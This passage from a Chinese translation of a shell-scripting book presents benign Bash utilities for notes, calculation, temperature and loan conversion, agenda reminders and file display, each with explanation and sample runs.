     # Append any arguments passed to the script on to the .remember file.
➋   echo "$@" >> $rememberfile
   fi

   exit 0

清单 3-1: *remember* 脚本

清单 3-2 详细介绍了伴随脚本remindme

   #!/bin/bash

   # remindme--Searches a data file for matching lines or, if no
   #   argument is specified, shows the entire contents of the data file

   rememberfile="$HOME/.remember"

   if [ ! -f $rememberfile ] ; then
     echo "$0: You don't seem to have a .remember file. " >&2
     echo "To remedy this, please use 'remember' to add reminders" >&2
     exit 1
   fi

   if [ $# -eq 0 ] ; then
     # Display the whole rememberfile when not given any search criteria.
➌   more $rememberfile
   else
     # Otherwise, search through the file for the given terms, and display
     #   the results neatly.
➍   grep -i -- "$@" $rememberfile | ${PAGER:-more}
   fi

   exit 0

清单 3-2: *remindme* 脚本,作为清单 3-1 中*remember*脚本的伴随脚本

工作原理

清单 3-1 中的remember脚本可以作为交互式程序工作,要求用户输入需要记住的详细信息,或者它也可以像脚本一样工作,因为它也可以接受任何作为命令行参数存储的内容。如果用户没有向脚本传递任何参数,那么我们会做一些巧妙的编码。在打印出如何输入项的用户友好消息后,我们通过cat ➊读取用户输入的数据:

cat - >> $rememberfile

在前面的章节中,我们使用read命令从用户获取输入。此行代码使用catstdin(命令中的-stdinstdout的简写,具体取决于上下文)读取数据,直到用户按下 CTRL-D,告诉cat工具文件结束。当catstdin读取数据时,它会将这些数据追加到rememberfile中。

如果向脚本指定了参数,所有参数会直接按原样附加到rememberfile中 ➋。

如果列表 3-2 中的remindme脚本无法运行是因为rememberfile文件不存在,因此我们首先会检查rememberfile是否存在,在尝试执行任何操作之前。如果rememberfile不存在,我们会在屏幕上打印一条消息告知用户原因,然后立即退出。

如果没有向脚本传递任何参数,我们假设用户只是想查看rememberfile的内容。我们使用more工具来分页显示rememberfile的内容,直接将内容展示给用户 ➌。

否则,如果传递了参数给脚本,我们将执行不区分大小写的grep,以搜索rememberfile中任何匹配的词条,然后也以分页形式显示这些结果 ➍。

运行脚本

要使用remindme工具,首先用remember脚本将笔记、电话号码或其他任何东西添加到rememberfile中,如列表 3-3 所示。然后,用remindme搜索这个自由格式的数据库,可以指定任何长短的模式。

结果

$ remember Southwest Airlines: 800-IFLYSWA
$ remember
Enter note, end with ^D:
Find Dave's film reviews at http://www.DaveOnFilm.com/
^D

列表 3-3:测试*remember* shell 脚本

然后,当你几个月后想要记起那条笔记时,列表 3-4 展示了你如何找到提醒。

$ remindme film reviews
Find Dave's film reviews at http://www.DaveOnFilm.com/

列表 3-4:测试*remindme* shell 脚本

或者,如果你记不清一个 800 电话号码,列表 3-5 展示了如何查找部分电话号码。

$ remindme 800
Southwest Airlines: 800-IFLYSWA

列表 3-5:使用*remindme*脚本查找部分电话号码

破解脚本

虽然这些脚本绝对称不上是任何形式的 shell 脚本编程杰作,但它们很好地展示了 Unix 命令行的可扩展性。如果你能想象某件事情,很可能就有一个简单的方法来实现它。

这些脚本可以通过多种方式改进。例如,你可以引入记录的概念:每个remember条目都有时间戳,多行输入可以作为单一记录保存,并且可以使用正则表达式进行搜索。这个方法让你能够为一组人存储电话号码,并仅凭记住组中某个人的名字就能检索出所有号码。如果你真的热衷于脚本编程,你还可以加入编辑和删除功能。话说回来,手动编辑~/.remember文件其实也非常容易。

#23 一个交互式计算器

如果你记得的话,scriptbc(在脚本 #9 中位于第 34 页)允许我们将浮动点bc计算作为内联命令参数调用。接下来的合乎逻辑的步骤是编写一个包装脚本,将这个脚本变成一个完全交互的命令行计算器。这个脚本(如清单 3-6 所示)非常简短!确保scriptbc脚本在PATH中,否则这个脚本将无法运行。

代码

   #!/bin/bash

   # calc--A command line calculator that acts as a frontend to bc

   scale=2

   show_help()
   {
   cat << EOF
     In addition to standard math functions, calc also supports:

     a % b       remainder of a/b
     a ^ b       exponential: a raised to the b power
     s(x)        sine of x, x in radians
     c(x)        cosine of x, x in radians
     a(x)        arctangent of x, in radians
     l(x)        natural log of x
     e(x)        exponential log of raising e to the x
     j(n,x)      Bessel function of integer order n of x
     scale N     show N fractional digits (default = 2)
   EOF
   }

   if [ $# -gt 0 ] ; then
     exec scriptbc "$@"
   fi

   echo "Calc--a simple calculator. Enter 'help' for help, 'quit' to quit."

   /bin/echo -n "calc> "

➊ while read command args
   do
     case $command
     in
       quit|exit) exit 0                                  ;;
       help|\?)   show_help                               ;;
       scale)     scale=$args                             ;;
       *)         scriptbc -p $scale "$command" "$args"   ;;
     esac

     /bin/echo -n "calc> "
   done

   echo ""

   exit 0

清单 3-6: *calc* 命令行计算器 Shell 脚本

它是如何工作的

也许这个代码最有趣的部分是while read语句 ➊,它创建了一个无限循环,直到用户退出(通过输入quit或输入文件结束符号(^D))之前,一直显示calc>提示。这个脚本的简单性正是它特别棒的原因:Shell 脚本不需要复杂才有用!

运行脚本

该脚本使用了我们在脚本 #9 中编写的浮动点计算器scriptbc,因此在运行之前,请确保该脚本可以在你的PATH中找到,或者将变量像$scriptbc设置为脚本当前的名称。如果没有参数传递给它,默认情况下,该脚本将作为交互工具运行,提示用户进行所需的操作。如果带有参数调用,则这些参数将传递给scriptbc命令。清单 3-7 展示了两种用法选项的实际操作。

结果

$ calc 150 / 3.5
42.85
$ calc
Calc--a simple calculator. Enter 'help' for help, 'quit' to quit.
calc> help
  In addition to standard math functions, calc also supports:

  a % b       remainder of a/b
  a ^ b       exponential: a raised to the b power
  s(x)        sine of x, x in radians
  c(x)        cosine of x, x in radians
  a(x)        arctangent of x, in radians
  l(x)        natural log of x
  e(x)        exponential log of raising e to the x
  j(n,x)      Bessel function of integer order n of x
  scale N     show N fractional digits (default = 2)
calc> 54354 ^ 3
160581137553864
calc> quit
$

清单 3-7: 测试*calc* Shell 脚本

警告

浮动点计算,即使对我们人类来说很容易,但在计算机上可能会非常棘手。不幸的是,*bc* 命令可能以意想不到的方式暴露出一些这些问题。例如,在*bc*中,设置***scale=0***并输入***7 % 3***。现在尝试使用***scale=4***。这将产生*.0001*,显然是不正确的。

破解脚本

你可以在命令行中的bc上做的任何事情,在这个脚本中也可以做,前提是calc.sh没有逐行内存或状态保持。这意味着,如果你有兴趣,你可以向帮助系统添加更多的数学函数。例如,变量obaseibase允许你指定输入和输出的数字基数,尽管由于没有逐行内存,你需要修改scriptbc(在脚本 #9 中位于第 34 页)或者学会将设置和方程都输入在同一行。

#24 转换温度

清单 3-8 中的脚本标志着本书中第一次使用复杂数学运算,它可以在华氏度、摄氏度和开尔文单位之间转换任何温度。它使用与脚本 #9 中相同的技巧,将方程传递给bc,正如我们在第 34 页上所做的那样。

代码

   #!/bin/bash

   # convertatemp--Temperature conversion script that lets the user enter
   #   a temperature in Fahrenheit, Celsius, or Kelvin and receive the
   #   equivalent temperature in the other two units as the output

   if [ $# -eq 0 ] ; then
     cat << EOF >&2
   Usage: $0 temperature[F|C|K]
   where the suffix:
       F    indicates input is in Fahrenheit (default)
       C    indicates input is in Celsius
       K    indicates input is in Kelvin
   EOF
     exit 1
   fi

➊ unit="$(echo $1|sed -e 's/[-[:digit:]]*//g' | tr '[:lower:]' '[:upper:]' )"
➋ temp="$(echo $1|sed -e 's/[^-[:digit:]]*//g')"

   case ${unit:=F}
   in
   F ) # Fahrenheit to Celsius formula: Tc = (F - 32) / 1.8
     farn="$temp"
➌   cels="$(echo "scale=2;($farn - 32) / 1.8" | bc)"
     kelv="$(echo "scale=2;$cels + 273.15" | bc)"
     ;;

   C ) # Celsius to Fahrenheit formula: Tf = (9/5)*Tc+32
     cels=$temp
     kelv="$(echo "scale=2;$cels + 273.15" | bc)"
➍   farn="$(echo "scale=2;(1.8 * $cels) + 32" | bc)"
     ;;

➎ K ) # Celsius = Kelvin - 273.15, then use Celsius -> Fahrenheit formula
     kelv=$temp
     cels="$(echo "scale=2; $kelv - 273.15" | bc)"
     farn="$(echo "scale=2; (1.8 * $cels) + 32" | bc)"
     ;;

     *)
     echo "Given temperature unit is not supported"
     exit 1
   esac

   echo "Fahrenheit = $farn"
   echo "Celsius    = $cels"
   echo "Kelvin     = $kelv"

   exit 0

清单 3-8: *convertatemp* Shell 脚本

它是如何工作的

在本书的这个阶段,大部分脚本应该已经很清晰了,但让我们仔细看看做所有工作的数学公式和正则表达式。“先讲数学,”大多数学龄儿童无疑会喜欢听到这样的话!这是将华氏度转换为摄氏度的公式:

image

转换成可以传递给 bc 并求解的序列后,它看起来像 ➌ 中的代码。反向转换,即摄氏度到华氏度的转换,位于 ➍。该脚本还将温度从摄氏度转换为开尔文 ➎。这个脚本展示了使用助记变量名的一个重要原因:它使代码更容易阅读和调试。

这里另一个有趣的代码部分是正则表达式,其中最复杂的无疑是 ➊ 的表达式。我们所做的事情其实非常直接,如果你能解读 sed 替换的语法。替换的格式总是看起来像 s/*旧值*/*新值*/;其中 *旧值* 模式表示零次或多次出现的 -,后面跟着数字集合中的任何一个(记住 [:digit:] 是 ANSI 字符集表示任意数字,* 匹配前述模式的零次或多次出现)。然后,*新值* 模式是我们希望用来替换 *旧值* 模式的内容,在这种情况下它只是 //,表示一个空模式;当你只想删除旧模式时,这个模式非常有用。这个替换有效地删除了所有的数字,使得像 -31f 这样的输入变成了仅有 f,从而得到单位类型。最后,tr 命令将所有内容转换为大写,因此,例如,-31f 变成了 F

另一个 sed 表达式执行相反的操作 ➋:它使用 ^ 操作符来否定类 [:digit:] 中任何字符的匹配,从而移除任何非数字字符。(大多数编程语言使用 ! 作为否定符号。)这为我们提供了最终使用适当方程式进行转换的值。

运行脚本

这个脚本有一个直观的输入格式,即使它在 Unix 命令中相当不寻常。输入是作为一个数值输入的,带有一个可选后缀,表示输入温度的单位;如果没有给定后缀,代码假设单位为华氏度。

要查看 0° 华氏度对应的摄氏度和开尔文度数,请输入 0F。要查看 100° 开尔文在华氏度和摄氏度中的值,请使用 100K。要获取 100° 摄氏度在开尔文和华氏度中的值,请输入 100C

你将在 脚本 #60 中再次看到这种单字母后缀的方法,该脚本用于转换货币值,见 第 190 页。

结果

列表 3-9 展示了不同温度之间的转换。

$ convertatemp 212
Fahrenheit = 212
Celsius    = 100.00
Kelvin     = 373.15
$ convertatemp 100C
Fahrenheit = 212.00
Celsius    = 100
Kelvin     = 373.15
$ convertatemp 100K
Fahrenheit = -279.67
Celsius    = -173.15
Kelvin     = 100

列表 3-9:使用一些转换测试 *convertatemp* Shell 脚本

破解脚本

你可以添加一些输入标志,每次只生成简洁的输出。例如,convertatemp -c 100F可以仅输出 100°F 的摄氏等效温度。这个方法也能帮助你在其他脚本中使用转换后的值。

#25 计算贷款支付

另一个用户可能会遇到的常见计算是贷款支付估算。清单 3-10 中的脚本也有助于回答“我可以拿这些奖金做什么?”以及相关问题“我终于可以买得起那辆新特斯拉了吗?”。

尽管基于本金、利率和贷款期限来计算支付金额的公式有些复杂,但通过巧妙使用 Shell 变量,能够驯服这个数学难题,并让它变得出乎意料地易于理解。

代码

   #!/bin/bash

   # loancalc--Given a principal loan amount, interest rate, and
   #   duration of loan (years), calculates the per-payment amount

   # Formula is M = P * ( J / (1 - (1 + J) ^ -N)),
   #   where P = principal, J = monthly interest rate, N = duration (months).

   # Users typically enter P, I (annual interest rate), and L (length, years).

➊ . library.sh         # Start by sourcing the script library.

   if [ $# -ne 3 ] ; then
     echo "Usage: $0 principal interest loan-duration-years" >&2
     exit 1
   fi

➋ P=$1 I=$2 L=$3
   J="$(scriptbc -p 8 $I / \( 12 \* 100 \) )"
   N="$(( $L * 12 ))"
   M="$(scriptbc -p 8 $P \* \( $J / \(1 - \(1 + $J\) \^ -$N\) \) )"

   # Now a little prettying up of the value:

➌ dollars="$(echo $M | cut -d. -f1)"
   cents="$(echo $M | cut -d. -f2 | cut -c1-2)"

   cat << EOF
   A $L-year loan at $I% interest with a principal amount of $(nicenumber $P 1 )
   results in a payment of \$$dollars.$cents each month for the duration of
   the loan ($N payments).
   EOF

   exit 0

清单 3-10: *loancalc* Shell 脚本

原理

探索公式本身超出了本书的范围,但值得注意的是,如何在 Shell 脚本中直接实现一个复杂的数学公式。

整个计算可以通过将一个长输入流传递给bc来解决,因为该程序也支持变量。然而,能够在脚本中操作中间值超出了bc命令本身的能力。此外,坦率地说,将公式拆分为多个中间方程式➋,也有助于调试。例如,下面是将计算出的月支付额拆分为美元和美分并确保以正确格式显示为货币值的代码:

dollars="$(echo $M | cut -d. -f1)"
cents="$(echo $M | cut -d. -f2 | cut -c1-2)"

cut命令在这里证明非常有用➌。这段代码的第二行抓取了月支付值中小数点后的部分,然后将第二个字符之后的内容截断。如果你更愿意将这个数字四舍五入到下一个最接近的美分,只需在截断美分之前加上 0.005。

同时注意到,在➊处,书中早先提到的脚本库通过. library.sh命令被整齐地包含进脚本中,确保所有函数(在本脚本中,来自第一章的nicenumber()函数)都能被脚本访问。

运行脚本

这个简化版脚本需要三个参数:贷款金额、利率和贷款期限(单位为年)。

结果

假设你一直在关注一辆新的特斯拉 Model S,并且想知道如果你购买这辆车,月供会是多少。Model S 的起售价大约为 69,900 美元,最新的汽车贷款利率为 4.75%。假设你目前的汽车价值约 25,000 美元,并且你能够以这个价格进行置换,你将贷款 44,900 美元的差额。如果你还没有改变主意,你希望看到四年期和五年期车贷的总支付差异——这个脚本可以轻松完成这个任务,如列表 3-11 所示。

$ loancalc 44900 4.75 4
A 4-year loan at 4.75% interest with a principal amount of 44,900
results in a payment of $1028.93 each month for the duration of
the loan (48 payments).
$ loancalc 44900 4.75 5
A 5-year loan at 4.75% interest with a principal amount of 44,900
results in a payment of $842.18 each month for the duration of
the loan (60 payments).

列表 3-11:测试*loancalc*脚本

如果你能承受四年贷款的较高月供,那么汽车将更早还清,而你的总支付额(即月供乘以还款期数)将明显减少。为了计算准确的节省金额,我们可以使用脚本 #23 中的互动计算器,如第 82 页所示:

$ calc '(842.18 * 60) - (1028.93 * 48)'
1142.16

这似乎是一个值得的节省:$1,142.16 足够买一台不错的笔记本电脑!

破解脚本

这个脚本实际上可以加入一个提示功能,如果用户没有提供任何参数的话。更有用的版本可以让用户指定四个参数中的任意三个(本金、利率、还款期数和月供金额),然后自动计算出第四个值。这样,如果你知道自己每月最多可以支付 500 美元,并且 6%的汽车贷款的最长期限是 5 年,你就能计算出自己可以借款的最大金额。你可以通过实现标志,让用户传入他们希望的值,从而完成这个计算。

#26 事件追踪

这实际上是一对脚本,它们一起实现了一个简单的日历程序,类似于我们在脚本 #22 中的提醒工具(见第 80 页)。第一个脚本addagenda(见列表 3-12)允许你指定一个周期性事件(每周某天的周事件或每年某天的年度事件)或一次性事件(指定日期、月份和年份)。所有日期都会经过验证并保存,同时还有一个单行事件描述,这些内容会存储在你主目录下的.agenda文件中。第二个脚本agenda(见列表 3-13)检查所有已知事件,显示哪些事件安排在当前日期。

这种工具特别适合用来记住生日和纪念日。如果你总是忘记重要的事件,这个实用的脚本将能为你节省不少麻烦!

代码

   #!/bin/bash

   # addagenda--Prompts the user to add a new event for the agenda script

   agendafile="$HOME/.agenda"

   isDayName()
   {
     # Return 0 if all is well, 1 on error.
 case $(echo $1 | tr '[[:upper:]]' '[[:lower:]]') in
       sun*|mon*|tue*|wed*|thu*|fri*|sat*) retval=0 ;;
       * ) retval=1 ;;
     esac
     return $retval
   }

   isMonthName()
   {
     case $(echo $1 | tr '[[:upper:]]' '[[:lower:]]') in
       jan*|feb*|mar*|apr*|may|jun*)     return 0        ;;
       jul*|aug*|sep*|oct*|nov*|dec*)    return 0        ;;
       * ) return 1      ;;
     esac
   }

➊ normalize()
   {
     # Return string with first char uppercase, next two lowercase.
     /bin/echo -n $1 | cut -c1  | tr '[[:lower:]]' '[[:upper:]]'
     echo  $1 | cut -c2-3| tr '[[:upper:]]' '[[:lower:]]'
   }

   if [ ! -w $HOME ] ; then
     echo "$0: cannot write in your home directory ($HOME)" >&2
     exit 1
   fi

   echo "Agenda: The Unix Reminder Service"
   /bin/echo -n "Date of event (day mon, day month year, or dayname): "
   read word1 word2 word3 junk

   if isDayName $word1 ; then
     if [ ! -z "$word2" ] ; then
       echo "Bad dayname format: just specify the day name by itself." >&2
       exit 1
     fi
     date="$(normalize $word1)"

   else

     if [ -z "$word2" ] ; then
       echo "Bad dayname format: unknown day name specified" >&2
       exit 1
     fi

     if [ ! -z "$(echo $word1|sed 's/[[:digit:]]//g')" ]  ; then
       echo "Bad date format: please specify day first, by day number" >&2
       exit 1
     fi

     if [ "$word1" -lt 1 -o "$word1" -gt 31 ] ; then
       echo "Bad date format: day number can only be in range 1-31" >&2
       exit 1
     fi

 if [ ! isMonthName $word2 ] ; then
       echo "Bad date format: unknown month name specified." >&2
       exit 1
     fi

     word2="$(normalize $word2)"

     if [ -z "$word3" ] ; then
       date="$word1$word2"
     else
       if [ ! -z "$(echo $word3|sed 's/[[:digit:]]//g')" ] ; then
         echo "Bad date format: third field should be year." >&2
         exit 1
       elif [ $word3 -lt 2000 -o $word3 -gt 2500 ] ; then
         echo "Bad date format: year value should be 2000-2500" >&2
         exit 1
       fi
       date="$word1$word2$word3"
     fi
   fi

   /bin/echo -n "One-line description: "
   read description

   # Ready to write to data file

➋ echo "$(echo $date|sed 's/ //g')|$description" >> $agendafile

   exit 0

列表 3-12:*addagenda*脚本

第二个脚本(见列表 3-13)较短,但使用频率更高。

   #!/bin/sh

   # agenda--Scans through the user's .agenda file to see if there
   #   are matches for the current or next day

   agendafile="$HOME/.agenda"

   checkDate()
   {
     # Create the possible default values that will match today.
     weekday=$1   day=$2   month=$3   year=$4
➌   format1="$weekday"   format2="$day$month"   format3="$day$month$year"

   # And step through the file comparing dates...

   IFS="|"       # The reads will naturally split at the IFS.

   echo "On the agenda for today:"
     while read date description ; do
       if [ "$date" = "$format1" -o "$date" = "$format2" -o \
            "$date" = "$format3" ]
       then
         echo " $description"
       fi
     done < $agendafile
   }

   if [ ! -e $agendafile ] ; then
     echo "$0: You don't seem to have an .agenda file. " >&2
     echo "To remedy this, please use 'addagenda' to add events" >&2
     exit 1
   fi

   # Now let's get today's date...

➍ eval $(date '+weekday="%a" month="%b" day="%e" year="%G"')

➎ day="$(echo $day|sed 's/ //g')" # Remove possible leading space.

   checkDate $weekday $day $month $year

   exit 0

列表 3-13: *agenda* 脚本,它是列表 3-12 中*addagenda*脚本的伴侣

原理

addagendaagenda脚本支持三种类型的重复事件:每周事件(“每周三”)、年度事件(“每年 8 月 3 日”)和一次性事件(“2017 年 1 月 1 日”)。随着议程文件中条目的添加,它们指定的日期会被标准化和压缩,3 August变为3AugThursday变为Thu。这一切通过addagenda中的normalize函数实现 ➊。

这个函数将输入的任何值截断为三个字符,确保第一个字符为大写,第二个和第三个字符为小写。这个格式与date命令输出的标准缩写日期和月份名称值相匹配,这对于agenda脚本的正确运行至关重要。addagenda脚本的其余部分没有特别复杂的内容;大部分代码用于检测无效的数据格式。

最后,在➋处,它将现在标准化的记录数据保存到隐藏文件中。错误检查代码与实际功能代码的比例非常典型,是一个写得很好的程序:在输入时清理数据,你就可以自信地对后续应用程序中的数据格式做出假设。

agenda脚本通过将当前日期转换为三种可能的日期字符串格式(daynameday+monthday+month+year)来检查事件 ➌。然后,它将这些日期字符串与.agenda数据文件中的每一行进行比较。如果找到匹配的条目,事件将展示给用户。

这对脚本中的最酷的黑客技巧可能就是如何使用eval来为所需的四个日期值分配变量 ➊。

eval $(date "+weekday=\"%a\" month=\"%b\" day=\"%e\" year=\"%G\"")

可以逐个提取值(例如,weekday="$(date +%a)"),但在极少数情况下,如果日期在四次date调用之间发生了跨天,方法可能会失败,因此最好使用简洁的单次调用。而且,这样做也很酷。

由于date返回的日期是带有前导零或前导空格的数字,而这两者都是不需要的,下一个代码行在➎处会去掉这些多余的部分,然后再继续执行。快去看一看它是怎么工作的!

运行脚本

addagenda脚本会提示用户输入新事件的日期。然后,如果它接受日期格式,脚本会提示输入事件的一行描述。

附带的agenda脚本没有参数,当调用时,它会生成一个当前日期所有事件的列表。

结果

要查看这对脚本如何工作,我们可以像清单 3-14 所示,向数据库中添加一些新事件。

$ addagenda
Agenda: The Unix Reminder Service
Date of event (day mon, day month year, or dayname): 31 October
One-line description: Halloween
$ addagenda
Agenda: The Unix Reminder Service
Date of event (day mon, day month year, or dayname): 30 March
One-line description: Penultimate day of March
$ addagenda
Agenda: The Unix Reminder Service
Date of event (day mon, day month year, or dayname): Sunday
One-line description: sleep late (hopefully)
$ addagenda
Agenda: The Unix Reminder Service
Date of event (day mon, day month year, or dayname): march 30 17
Bad date format: please specify day first, by day number
$ addagenda
Agenda: The Unix Reminder Service
Date of event (day mon, day month year, or dayname): 30 march 2017
One-line description: Check in with Steve about dinner

清单 3-14:测试 *addagenda* 脚本并添加多个议程项

现在,agenda脚本提供了一个快速便捷的方式,提醒今天发生了什么,详见清单 3-15。

$ agenda
On the agenda for today:
  Penultimate day of March
  sleep late (hopefully)
  Check in with Steve about dinner

清单 3-15:使用 *agenda* 脚本查看今天的议程项

注意到它匹配了格式为 daynameday+monthday+month+year 的条目。为了完整起见,列表 3-16 显示了相关的 .agenda 文件,并且添加了一些额外的条目:

$ cat ~/.agenda
14Feb|Valentine's Day
25Dec|Christmas
3Aug|Dave's birthday
4Jul|Independence Day (USA)
31Oct|Halloween
30Mar|Penultimate day of March
Sun|sleep late (hopefully)
30Mar2017|Check in with Steve about dinner

列表 3-16:存储议程项目的 .agenda 文件的原始内容

脚本黑客

这个脚本实际上只是触及了这个复杂且有趣话题的皮毛。举个例子,如果它能够提前几天查看就好了;这可以通过在 agenda 脚本中进行一些日期运算来实现。如果你有 GNU date 命令,日期运算就很容易。如果没有,那么在 shell 中仅启用日期运算就需要一个复杂的脚本。我们将在本书稍后的章节中更详细地介绍日期运算,特别是在脚本 #99(第 330 页)、脚本 #100(第 332 页)和脚本 #101(第 335 页)。

另一个(更简单的)方法是,当没有与当前日期匹配的项目时,agenda 输出 今天没有安排,而不是更为草率的 今天的议程: 后面什么也没有。

这个脚本还可以在 Unix 机器上用于发送全系统的事件提醒,比如备份计划、公司假期和员工生日。首先,让每个用户机器上的 agenda 脚本额外检查一个共享的只读 .agenda 文件。然后在每个用户的 .login 或类似文件中添加调用 agenda 脚本的命令,该文件会在登录时执行。

注意

令人惊讶的是,不同的 Unix 和 Linux 系统上的日期实现有所不同,因此,如果你尝试使用自己的 date 命令做一些更复杂的操作且失败了,记得查阅手册页,看看你的系统能做什么,不能做什么。

第五章:调整 Unix

image

外行可能会把 Unix 想象成在许多不同系统上都有一个良好、统一的命令行体验,这得益于它们遵循 POSIX 标准。但任何曾使用过不止一个 Unix 系统的人都知道它们在这些广泛参数内部有多么不同。例如,你很难找到一个 Unix 或 Linux 系统,它没有ls作为标准命令,但你的版本是否支持--color标志?你的 Bourne shell 版本是否支持变量切片(如${var:0:2})?

或许 Shell 脚本最有价值的用途之一是调整你特定版本的 Unix 系统,使其更像其他系统。尽管大多数现代 GNU 实用工具在非 Linux Unix 上都能正常运行(例如,你可以用更新的 GNU tar替换古老的tar),但通常在调整 Unix 系统时不需要如此激进的系统更新,避免向支持的系统添加新二进制文件带来的潜在问题。相反,Shell 脚本可以用来将流行的标志映射到其本地等效项,利用核心 Unix 功能创建现有命令的智能版本,甚至解决某些功能长期缺失的问题。

#27 显示带行号的文件

添加行号到显示文件有几种方法,其中许多方法都非常简短。例如,这里是一个使用awk的解决方案:

awk '{ print NR": "$0 }' < inputfile

在某些 Unix 实现中,cat命令有一个-n标志,而在其他系统上,more(或lesspg)分页器有一个指定每行输出应编号的标志。但在某些 Unix 版本中,这些方法都行不通,这时可以使用列表 4-1 中的简单脚本。

代码

   #!/bin/bash

   # numberlines--A simple alternative to cat -n, etc.

   for filename in "$@"
   do
     linecount="1"
➊   while IFS="\n" read line
     do
       echo "${linecount}: $line"
➋     linecount="$(( $linecount + 1 ))"
➌   done < $filename
   done
   exit 0

列表 4-1: *numberlines* 脚本

工作原理

这个程序的主循环有一个技巧:它看起来像一个普通的while循环,但实际上重要的部分是done < $filename ➌。事实证明,每个主要的块结构都作为自己的虚拟子 shell,因此这种文件重定向不仅有效,而且是一种轻松的方法,可以让循环逐行迭代$filename的内容。再结合➊处的read语句——一个内部循环,逐次将每行加载到line变量中——输出带有行号的行和增加linecount变量 ➋ 就变得很容易了。

运行脚本

你可以将任意数量的文件名输入到这个脚本中。但你不能通过管道输入,不过如果没有提供起始参数,通过调用cat -序列来修复这个问题也不是很难。

结果

列表 4-2 展示了使用numberlines脚本对《爱丽丝梦游仙境》摘录进行行号标记的文件。

$ numberlines alice.txt
1: Alice was beginning to get very tired of sitting by her sister on the
2: bank, and of having nothing to do: once or twice she had peeped into the
3: book her sister was reading, but it had no pictures or conversations in
4: it, 'and what is the use of a book,' thought Alice 'without pictures or
5: conversations?'
6:
7: So she was considering in her own mind (as well as she could, for the
8: hot day made her feel very sleepy and stupid), whether the pleasure
9: of making a daisy-chain would be worth the trouble of getting up and
10: picking the daisies, when suddenly a White Rabbit with pink eyes ran
11: close by her.

列表 4-2: 在《爱丽丝梦游仙境》摘录上测试* *numberlines* 脚本

黑客脚本

一旦你有了一个带有行号的文件,你可以像这样将文件中的所有行的顺序反转:

cat -n filename | sort -rn | cut -c8-

这在支持 cat-n 标志的系统中有效。例如,这种方法可能在哪些地方有用呢?一个明显的场景是按从新到旧的顺序显示日志文件。

#28 只换行长行

fmt 命令及其对应的 shell 脚本版本的一个限制是,它们会换行并填充每一行,不管这样做是否合理。例如,这可能会搞乱电子邮件(例如,换行你的 .signature 是不好的)以及任何需要保留行分隔符的输入文件格式。

如果你有一个文档,你只想将长行换行,而保持其他部分不变呢?对于 Unix 用户来说,默认的命令集只有一种方法可以完成这项任务:在编辑器中逐行处理每一行,将长行单独传给 fmt。(你可以在 vi 中通过将光标移到目标行并使用 !$fmt 来完成此操作。)

清单 4-3 中的脚本自动化了这个任务,利用了 shell 的 ${#*varname*} 结构,它返回存储在变量 *varname* 中的数据的长度。

代码

   #!/bin/bash
   # toolong--Feeds the fmt command only those lines in the input stream
   #   that are longer than the specified length

   width=72

   if [ ! -r "$1" ] ; then
     echo "Cannot read file $1" >&2
     echo "Usage: $0 filename" >&2
     exit 1
   fi

➊ while read input
   do
     if [ ${#input} -gt $width ] ; then
       echo "$input" | fmt
     else
       echo "$input"
     fi
➋ done < $1

   exit 0

清单 4-3: *toolong* 脚本

工作原理

请注意,文件通过简单的 < $1 被传递给 while 循环,并与循环的结束位置 ➋ 关联,然后每一行通过 read input ➊ 被读取,从而一行一行地将文件内容分配给 input 变量。

如果你的 shell 不支持 ${#*var*} 这种表示法,你可以通过超实用的“字数统计”命令 wc 来模拟它的行为:

varlength="$(echo "$var" | wc -c)"

然而,wc 有个恼人的习惯,它会在输出前加上空格以使数值对齐。为了避免这个麻烦,需要稍微修改,确保只通过最终的管道步骤传递数字,如下所示:

varlength="$(echo "$var" | wc -c | sed 's/[^[:digit:]]//g')"

运行脚本

这个脚本接受正好一个文件名作为输入,正如 清单 4-4 所示。

结果

$ toolong ragged.txt
So she sat on, with closed eyes, and half believed herself in
Wonderland, though she knew she had but to open them again, and
all would change to dull reality--the grass would be only rustling
in the wind, and the pool rippling to the waving of the reeds--the
rattling teacups would change to tinkling sheep-bells, and the
Queen's shrill cries to the voice of the shepherd boy--and the
sneeze
of the baby, the shriek of the Gryphon, and all the other queer
noises, would change (she knew) to the confused clamour of the busy
farm-yard--while the lowing of the cattle in the distance would
take the place of the Mock Turtle's heavy sobs.

清单 4-4:测试 *toolong* 脚本

请注意,与标准的 fmt 调用不同,toolong 在可能的情况下保留了换行,因此在输入文件中单独一行的单词 sneeze 在输出中也会单独占一行。

#29 显示包含附加信息的文件

许多最常用的 Unix 和 Linux 命令最初是为缓慢、几乎没有交互的输出环境设计的(我们谈过 Unix 是一个古老的操作系统,对吧?),因此它们提供的输出和交互性非常有限。例如,cat:当用来查看一个短文件时,它不会提供太多有用的信息。不过,假如我们想知道文件的更多信息,那就来获取它吧!清单 4-5 详细介绍了 showfile 命令,这是 cat 的一种替代方法。

代码

   #!/bin/bash
   # showfile--Shows the contents of a file, including additional useful info

   width=72

   for input
   do
     lines="$(wc -l < $input | sed 's/ //g')"
     chars="$(wc -c < $input | sed 's/ //g')"
     owner="$(ls -ld $input | awk '{print $3}')"
     echo "-----------------------------------------------------------------"
     echo "File $input ($lines lines, $chars characters, owned by $owner):"
     echo "-----------------------------------------------------------------"
     while read line
     do
       if [ ${#line} -gt $width ] ; then
         echo "$line" | fmt | sed -e '1s/^/ /' -e '2,$s/^/+ /'
       else
         echo "  $line"
       fi
➊   done < $input

     echo "-----------------------------------------------------------------"

➋ done | ${PAGER:more}

   exit 0

清单 4-5: *showfile* 脚本

工作原理

为了同时逐行读取输入并添加头部和尾部信息,这个脚本使用了一个方便的 shell 技巧:在脚本的末尾,它通过 done < $input ➊ 将输入重定向到 while 循环中。然而,可能这个脚本中最复杂的元素是对于超过指定长度的行,调用 sed 进行处理:

echo "$line" | fmt | sed -e '1s/^/ /' -e '2,$s/^/+ /'

超过最大允许长度的行会通过 fmt(或其 shell 脚本替代品,脚本 #14 在第 53 页)进行换行处理。为了直观地标示哪些行是续行,哪些行是从原文件中保留的,过长行的第一行输出会有通常的两个空格缩进,但后续行则以加号和一个空格作为前缀。最后,将输出通过管道传送到 ${PAGER:more} 会使用系统变量 $PAGER 设置的分页程序显示文件,或者如果未设置该变量,则使用 more 程序 ➋。

运行脚本

你可以通过在调用程序时指定一个或多个文件名来运行 showfile,正如清单 4-6 所示。

结果

$ showfile ragged.txt
-----------------------------------------------------------------
File ragged.txt (7 lines, 639 characters, owned by taylor):
-----------------------------------------------------------------
  So she sat on, with closed eyes, and half believed herself in
  Wonderland, though she knew she had but to open them again, and
  all would change to dull reality--the grass would be only rustling
+ in the wind, and the pool rippling to the waving of the reeds--the
  rattling teacups would change to tinkling sheep-bells, and the
